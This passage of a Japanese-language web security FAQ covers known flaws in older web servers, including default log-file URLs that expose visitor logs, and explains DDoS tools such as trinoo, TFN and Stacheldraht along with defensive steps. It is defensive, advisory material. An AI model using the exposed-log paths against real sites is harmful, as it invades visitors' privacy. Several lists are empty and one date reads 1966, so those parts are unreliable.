IBM の Richard L. Gray 氏(rlgray@us.ibm.com>) によると、既知の問題はすべて、バージョン 4.2.1.3 以降で fix されたとのことです。 また、Lotus Domino Go は現在、Windows 95、Windows NT、OS/390、HPUX や、Solaris のシステムで動作します。

Q83: WN サーバについて、既知のセキュリティ問題はありますか?

WN サーバ には、既知のセキュリティ問題はありません。 Q6で述べたように、WN サーバには、不適切なサーバ設定によってセキュリティが破壊されないように防ぐための機能がいくつかあります。

Macintosh サーバ

Q84: WebStar について、既知のセキュリティ問題はありますか?

WebSTARのログファイル処理において大きな問題があります。WebSTAR をデフォルト設定でインストールした場合、 サーバのログファイルは文書ツリー内に置かれます。Internet 上の誰もが、"http://your.site/WebSTAR%20LOG" というURLをリクエストするだけで、 サーバのログをすべてダウンロードでき、またサーバへのリモートアクセスのログをすべて見ることができます。 「サーバのログとプライバシー」 のところで述べたように、これはプライバシーに対するユーザの期待に反します。WebSTAR の管理ツールを使って、 ログファイルの場所を文書ツリー以外のところに変更してください。

WebSTAR サーバ自身のセキュリティに関する限り、WebSTARは UNIX や Windows のサーバよりも 安全と考えられます。Macintoshはコマンドシェルがなく、リモートログインもできないため、 Mac は本質的に他のプラットフォームよりも安全であると考えられているのです。事実、 この考えはこれまで実証されています。WebSTAR または WebSTAR の原型のシェアウエア MacHTTP のどちらにも、 セキュリティ問題は特に確認されていません。

1966 年の初めに、WebSTAR の開発元の StarNine を含む、Macintosh インターネットソフ トウェア開発企業コンソーシアムは、WebSTAR ソフトウエアが動作する Macintosh 上で、パスワードで保護された Web ページを解読できた人に $10.000 の報奨金を支払うと発表しました。 この挑戦の詳細については Tidbits#317/04-Mar-96 に述べられていますが、45 日間経っても、誰も賞金獲得には至りませんでした。

従来の方法では誰も Macintosh のホストに容易に侵入することはできませんが、潜在的なセキュリティホールは以下のように存在します。

  1. セキュリティホールを利用して、公式文書ツリー以外にあるファイルを読む。
  2. サーバを破壊する方法を見つける。
  3. CGI スクリプト中の問題を利用して、AppleScript コマンドを実行する。これは、特に Perl スクリプトに関係しています。 安全なスクリプト適用 についてのすべての注意と警告が適用されます。
事実、1997 年に再挑戦として "Crack-a-Mac" をスウェーデンのコンサルティング会社が主催しましたが、 あまり良い結果が出ませんでした。このときは、クラッカーが リモート管理用と編集用の2つのアドオンにあるバグを利用してサーバに侵入し、 保護されたページを盗むことができました。これは、Web サーバに、CGI スクリプト、サーバモジュール、 他の拡張を追加しているときは常にリスクが伴うことを表しています。成功した侵入の詳細およびパッチを当てたサーバ拡張のリンクについては、 http://hacke.infinit.se/ を参照してください。

Q85: MacHTTP について、既知のセキュリティ問題はありますか?

MacHTTP は、WebSTAR と同じログファイルの問題があります。前述の説明を参照してください。

Q86: Quid Pro Quo で既知のセキュリティ問題はありますか?

Quid Pro Quo サーバは、URL http://site.name/server%20logfile で、文書のルート内に、デフォルトのログファイルを保存します。知識のあるリモートユーザは、誰がサーバにアクセスしたのかすべてわかります!

(この情報は、Paul DuBois 氏 dubois@primate.wisc.edu> によって提供されました)。

その他のサーバ

Q87: Novell WebServer で既知のセキュリティ問題はありますか?

Novell Webserver バージョン 3.x を実行し、Web Server Examples Toolkit v.2 をインストールしている場合、 重大なセキュリティホールが存在します。ユーザは、システム上のすべてのファイルを見たり、 ディレクトリリストをダウンロードしたりして、システムに侵入するのに必要な情報を取得できます。 この欠陥は、サンプルの CGI Perl スクリプトファイル .pl にあります。/perl ディレクトリ (通常、 SYS:INW_WEB\SHARED\DOCS\LCGI\PERL5 にあります) からそのファイルを削除してください。 念のため、自分のサイト運用に必要がない CGI スクリプトは、すべて削除してください。

11. DoS (サービス拒否) 攻撃から身を守る

概要

Q88: DoS攻撃とは?

DoS 攻撃とは、コンピュータやネットワークが通常のサービスを提供することを不能にさせる攻撃です。 最も一般的な DoS 攻撃は、コンピュータのネットワークの帯域幅や接続性を狙います。 帯域幅攻撃は、ネットワークに大量のデータを送り込み、利用できるすべてのネットワーク資源を消費し、 正規ユーザのリクエストを処理できなくなるようにします。 接続性攻撃は、ネットワークに大量の接続リクエストを送りこみ、利用できるすべてのオペレーティングシステムの資源を消費し、 コンピュータが正規ユーザの要求を処理できなくするようにします。2000 年 2 月 6 日の週に大きく報じられた攻撃は、 帯域幅攻撃が中心で、標的になったのはすべて有名なインターネット Web サイトでした。DoS攻撃の全詳細については、 http://www.cert.org/tech_tips/denial_of_service.html 上の CERT を参照してください。

Q89: DDoS攻撃とは?

DDoS (分散型サービス拒否) 攻撃とは、多数のコンピュータを利用して、1 つまたは複数の相手に対して組織的にサービス拒否攻撃を行なうことです。 犯人はクライアント / サーバテクノロジーを利用して、踏み台として複数のコンピュータを無意識に攻撃の手助けをさせ、 それらの資源を利用することによって、サービス拒否の効果を十分に増すことができます。 通常、盗んだアカウントを使用して、一台のコンピュータ上に、DDoS マスタープログラムをインストールします。 次に、マスタープログラムは、指定された時間に、インターネット上の不特定のコンピュータにインストールされた「エージェント」 プログラムと通信します。マスタープログラムは、クライアント / サーバテクノロジーを利用して、 一瞬のうちに、数百、または数千のエージェントプログラムに攻撃を開始させることができます。

Q90: DDoS は、Web サイトにどのような攻撃を行ないますか?

DDoS の Web サイト攻撃は、1 つまたは複数のサイトの Web サーバが正常にサービスを行なえなくするために、 大量のリクエストを送り込みます。一般ユーザが DDoS 攻撃中に正規のページのリクエストを行なった場合、 要求はすべて失敗するか、ページのダウンロードにたいへん時間がかかり、Web サイトが利用できなくなります。DDoS 攻撃は通常、 複数のコンピュータを利用して、対象の Web サイトに何十万件ものリクエストを同時に行ないます。 犯人は、追跡されないように、インターネット上でセキュリティが甘い複数のコンピュータに侵入し、 それらに不正プログラム DDoSを隠し、そして知らずに踏み台となるコンピュータを利用して、 不特定多数による攻撃を仕掛けます。

Q91: DDoS 攻撃を素早く簡単に防御する方法はありますか?

ありません。単純な見方をすれば、最善の解決法は、コンピュータが侵害されたり、攻撃の踏み台に利用されるのを防ぐことです。 これによって、問題を未然に防ぎます。したがって、多くの専門家は、皆が運命共同体意識を持ち、 インターネット上の自分のコンピュータが知らないうちに悪意ある進入者の共犯者にならないように心がけていくべきであると提案しています。 残念ながら、これを実現するだけの知識、予算、意向に欠けた企業が多いようです。

また、攻撃者は、攻撃の踏み台として非営利のコンピュータを最も多く利用します。 一般的に、非営利のコンピュータへの侵入は容易だからです。大学のシステムは格好の踏み台です。 大学はしばしば人員不足であったり、大学のシステムは、学生が学習のためにシステムを利用できるようにセキュリティレベルが最小に設定されているからです。 さらに、これは国内だけの問題ではありません。世界中のすべてのインターネットサーバが攻撃の踏み台として使用される可能性があります。

それでも、DDoS を防ぐための最も単純で効果的な解決方法は、地球規模で協力してインターネットを守る試みです。 したがって、まず、自分のインターネット・コンピュータが知らないうちに DDoS 攻撃の踏み台として使用されていないことを確認するために、 スキャンを行うことが必要です。これは単にインターネット市民にふさわしい行動というだけではありません。 これにより、DDoS 攻撃が起きたとき、自分のインターネットコンピュータは怪しくないということを記録し、 証明することも可能になります。

Q92: アメリカ政府の対応により解決できる部分はありますか?

政府の力で解決できる部分はあります。政府が様々な規制を課すことにより、少なくとも米国内では、 コンピュータが前述の攻撃を受けるリスクは大幅に減るでしょう。Webを利用するには「運転免許証」のようなものを、 Webサイト運営には「営業許可証」のようなものを必須とし、ISPには現在の水道や電気のような公共事業に匹敵する厳しい規制を課すこともできます。 しかし政府は、犯罪の取り締まりにより、経済成長・教育・情報の自由や一般的な個人の自由が規制されることにならないよう神経を払っています。 当分の間、アメリカ政府は、あまり規制を強めない方向で対策を模索していく方針のように思われます。

たとえば、クリントン大統領は、DDoS や他のサイバー犯罪と戦うために、大学新卒で構成する情報警備の 「サイバー部隊」を作ることを提案しました。この提案は賢明ではありますが、そのようなグループに入りたいというコンピュータサイエンスの学生が殺到するでしょうか? コンピュータサイエンスの学生は一般的に、科学には興味がありますが、警察には興味がありません。 したがって、クリントンの提案が通った場合、政府が優秀な学生を惹きつけて「サイバー警察」に入れることができるかどうかがみものです

しかし手に負えない攻撃が続くようなら、政府は介入の度合いを深めざるを得ないということも付け加えておいた方がいいでしょう。 政府が、攻撃の問題は解決したいが介入は避けたいというどっちつかずの態度を取ると、企業からは無視されるだけです。たとえば、 Federal Computer Week の2000年2月6日号では、「FBIのWebページで提供されているフリー・セキュリティ・ツールのダウンロード件数はわずか2,600件だった。このソフトウェアは DoSコードを検出するためのもので、12月から公開されている」と報じられています。

具体的な対処法

Q93: 自分のサーバがアクティブな DDoS ホストになっているかどうかは、どうすれば確認できますか?

  • サーバのファイルシステム上に、既知の DDoS ツールが複数存在している場合には、1 つ以上のファイルシステムスキャンツールを入手して、DDoS ツールを割り出してください。
  • 自分のネットワークから発信されている DDoS 活動がないか、以下のように手動により二重チェックしてください。 (Kurt Seifried氏による方法<seifried@securityportal.com>)

    Q94: 自分のサーバ上でDDoS ホストプログラムを見つけた場合、どうすれば良いでしょうか?

  • システム上に悪質な (トロイの木馬) プログラムが存在している場合は、すでに脆弱点を利用されてしまっていると認識してください。 システムに大小にかかわらず何らかの変更が行なわれているかもしれません。したがって、 セキュリティにおける脆弱性の分析を徹底的に行なう必要があります。システム上で問題が顕在化していない場合も、 問題対処方法を弱める理由はありません。
  • 会社の問題対処ポリシーにしたがって行動してください。まだポリシーがまったく導入されていない場合には、 少なくとも以下の緊急処置を行なってください。
  • 問題発生が疑われた時から始まって、最初からすべてを記録してください。危険性の度合いによって、 技術、法律面の両方でこの記録が役に立ちます
  • 会社が不正を受けたことに関する情報をあまり漏らさないようにしてください。 情報の漏洩は、不利になることがあり、メディアが介入してくる原因にもなります。問題解決を直接支援する人、 上司や取締官にだけ知らせるようにします。
  • 会社の中で最も強力なセキュリティの専門家に連絡して、支援を求めてください。誰もいない場合には、 実行しているオペレーティングシステムやシステムソフトウエアに関する問題対処に通じているコンサルティング会社に即時支援を依頼するよう、 管理者に頼んでください。
  • 不正が行われたコンピュータを物理的にネットワークから外します (ネットワークケーブルを抜いてください)。 それが基幹コンピュータの場合には、利用可能であれば、ホットバックアップサーバを利用します。 ホットバックアップサーバの利用ができない場合には、ダウンタイムは避けられません。
  • 不正が行われたが起きたコンピュータのファイルシステムのバックアップを行ないます。 オペレーティングシステムによって管理されている動的データテーブルをすべて標準ファイルにダンプしてから、 バックアップを始めます。そうすれば、テーブルをあとで分析することができます。 たとえば、現在実行中のプロセス、現在ログイン中のユーザ、現在のネットワークへの接続のリストは、 単層ファイルにダンプします。次に、2 つの異なるバックアッププログラムを使用して、 システムのバックアップを 2 つ作成します。
  • 不正が行われたコンピュータをシャットダウンします。
  • コンピュータを再起動します。
  • システムソフトウエアに使用されているドライブを再フォーマットします。
  • オペレーティングシステムを再インストールします。
  • オペレーティングシステムのパッチをすべて適用します。
  • システムの「強化」を行ないます。オペレーティングシステム固有の設定を行なうことで、一般に知られている脆弱点を無効にします。
  • ファイルシステムをリストアします。システムファイルを上書きしないで、手動でパスワードファイルを調べてから、リストアします。
  • コンピュータをネットワークに接続します。
  • ネットワーク上のすべてのコンピュータを確認して、他に同様の脆弱点が利用されていないか調べます。
  • 問題対処方法の詳細については、以下を参照してください。 http://www.cert.org/tech_tips/root_compromise.html.

    Q95: 今後、自分のサーバが DDoS ホストとして使用されないようにするには、どうすれば良いでしょうか?

  • インターネットサーバには、以下のような脆弱性があることを認識、理解してください。
  • システムがすでに改ざんされた場合は、ファイルシステムのバックアップを行ない、オペレーティングシステムを再インストールしてから、ファイルシステムをリストアします。
  • OS ベンダによって提供されたオペレーティングシステムの更新プログラムをインストールします。
  • サーバをセキュアにします。
  • サーバ側のセキュリティの包括的処置については、以下を参照してください。 http://www.cert.org/security-improvement/modules/m07.html.

    Q96: 自分のパソコンが DDoS ホストとして使用されないようにするには、どうすれば良いでしょうか?

  • 以下のインターネット・クライアントの脆弱点を認識し、理解してください。
  • システムがすでに改ざんされた場合、ファイルシステムのバックアップを行ない、 オペレーティングシステムを再インストールしてから、ファイルシステムをリストアします。
  • OS ベンダによって提供されたオペレーティングシステムの更新プログラムをインストールします。
  • クライアント / PC をセキュアにします。
  • クライアント側の DDoS の詳細については、以下を参照してください。 http://www.jmu.edu/info-security/engineering/issues/wintrino.htm.

    Q97: 「smurf 攻撃」とは何ですか?また、どうすれば防げますか?

  • smurf とは、ICMP (Internet Control Message Protocol) を利用した、単純ですが効果的な DDoS 攻撃の方法です。ICMP は通常、インターネット上で、エラー処理やコントロールメッセージを渡すために使用されます。 その機能の1 つに、"echo request" パケットを送信することで、 それが「アップ」なのかどうかを調べるためにホストにアクセスできるというものがあります。 一般的な "ping" プログラムは、この機能を使用しています。smurf は盗んだアカウントを使用してコンピュータにインストールされ、 偽造ソースアドレスを使用して、複数のコンピュータのネットワークに連続的に "ping" します。これによって、 すべてのコンピュータが、実際にパケットを送信したコンピュータと異なるコンピュータに応答してしまいます。 実際の攻撃対象である偽造ソースアドレスに応答が殺到します。偽造された (「なりすました」) パケットに応答するコンピュータネットワークは、 気づかないうちに攻撃に加担することになります。基本的な特徴と smurf に対する自衛策は以下のとおりです。 詳細については、CERT を参照してください。Craig Huegen 氏による smurfの詳細については、以下を参照してください。 http://users.quadrunner.com/chuegen/smurf.txt.
  • Q98: "trinoo" とは何ですか?また、どうすれば防げますか?

  • trinoo は、実際に攻撃を行う複数のエージェントプログラムを、マスタープログラムを用いて自動的にコントロールする複雑な DDoS ツールです。アタッカーは、マスタープログラムをホストしているコンピュータに接続し、マスターを開始します。 マスターは IP アドレスのリストにもとづいた、すべてのエージェントプログラムを開始させます。エージェントプログラムは、 1 つ以上の標的に対し、攻撃UDP パケットでネットワークを氾濫させる攻撃を行います。攻撃に先立って、アタッカーは、 マスタープログラムをホストしているコンピュータと、エージェントプログラムをホストしているコンピュータに不正操作を行い、 ソフトウェアをインストールします。trinoo の DDoS 攻撃の基本的な特徴と、 それに対する防衛戦略は以下のとおりです。また、Dave Dittrich 氏がtrinooのさらに詳細な説明を提供しています。以下を参照してください。 http://staff.washington.edu/dittrich/misc/trinoo.analysis.
  • Q99: "Tribal Flood Network" と "TFN2K" とは何ですか?また、どうすれば防げますか?

  • Tribe Flood Network は、trinooと同様、複数のネットワークにわたる攻撃エージェントと通信するために、 マスタープログラムを使用します。TFN によるDoS攻撃では、複数の種類の攻撃を生成でき、 また偽のソース IP アドレスになりすましたパケットを生成できるので、防御は極めて難しくなります。 TFN による攻撃には、UDP の氾濫、TCP SYN の氾濫、ICMP エコーリクエストの氾濫、 ICMP 向きのブロードキャストなどがあります。基本的な特徴と TFN DDoS 攻撃に対する防衛戦略は以下のとおりです。Dave Dittrich 氏による TFN の詳細については、以下のURLを参照してください。 http://staff.washington.edu/dittrich/misc/tfn.analysis また、CERTでは、TENの 事例分析 も提供しています。
  • TFN2K は、TFN のさらに進んだバージョンで、TFN の弱点のいくつかを "fix" しています。 CERTでは、 事例分析 を提供しています.
  • Q100: "stacheldraht" とは何ですか?また、どうすれば防げますか?

  • Stacheldraht (「有刺鉄線」というドイツ語) は、Mixter によって開発されたもので、 これもプログラムが何千ものエージェントプログラムと通信する TFN や trinoo のクライアント/ サーバモデルに基いています。アタッカーは、攻撃を開始するためにマスタープログラムに接 続します。Stacheldraht には、アタッカーとマスタープログラム間の通信の暗号化、および rcp (リモートコピー)の活用によるエージェント・プログラムの自動更新という新たな機能が追加されています。

  • Stacheldraht によるDoS攻撃は、複数の攻撃パターンがあり、またソースIPアドレスの 「なりすまし」を行うことができるため、防御は極めて難しくなります。Stacheldraht による攻撃には、UDP の氾濫、TCP SYN の氾濫、ICMP エコーリクエストの氾濫、ICMP 向きのブロードキャストなどがあります。 Stacheldraht DDoS 攻撃の基本的な特徴と防衛戦略は以下に述べます。 Dave Dittrich 氏による Stacheldraht の詳細については、以下を参照してください。 http://staff.washington.edu/dittrich/misc/stacheldraht.analysis.

  • Stacheldraht を開始するために、アタッカーはマスタープログラムにアクセスし、 1 つまたは複数のターゲットの IP アドレスを送信します。マスタープログラムは、 すべてのエージェントプログラムに通信し、攻撃を開始するよう指示します。
  • Q101: DDoS 攻撃に対するルータ、ファイアウォール、および侵入検出システムは、どのように設定すれば良いでしょうか?

  • Smurf に対して
  • trinoo に対して
  • TFN と TFN2K に対して
  • Stacheldraht に対して

  • 12. Bibliography

    原文をご参照ください。
    目次へ戻る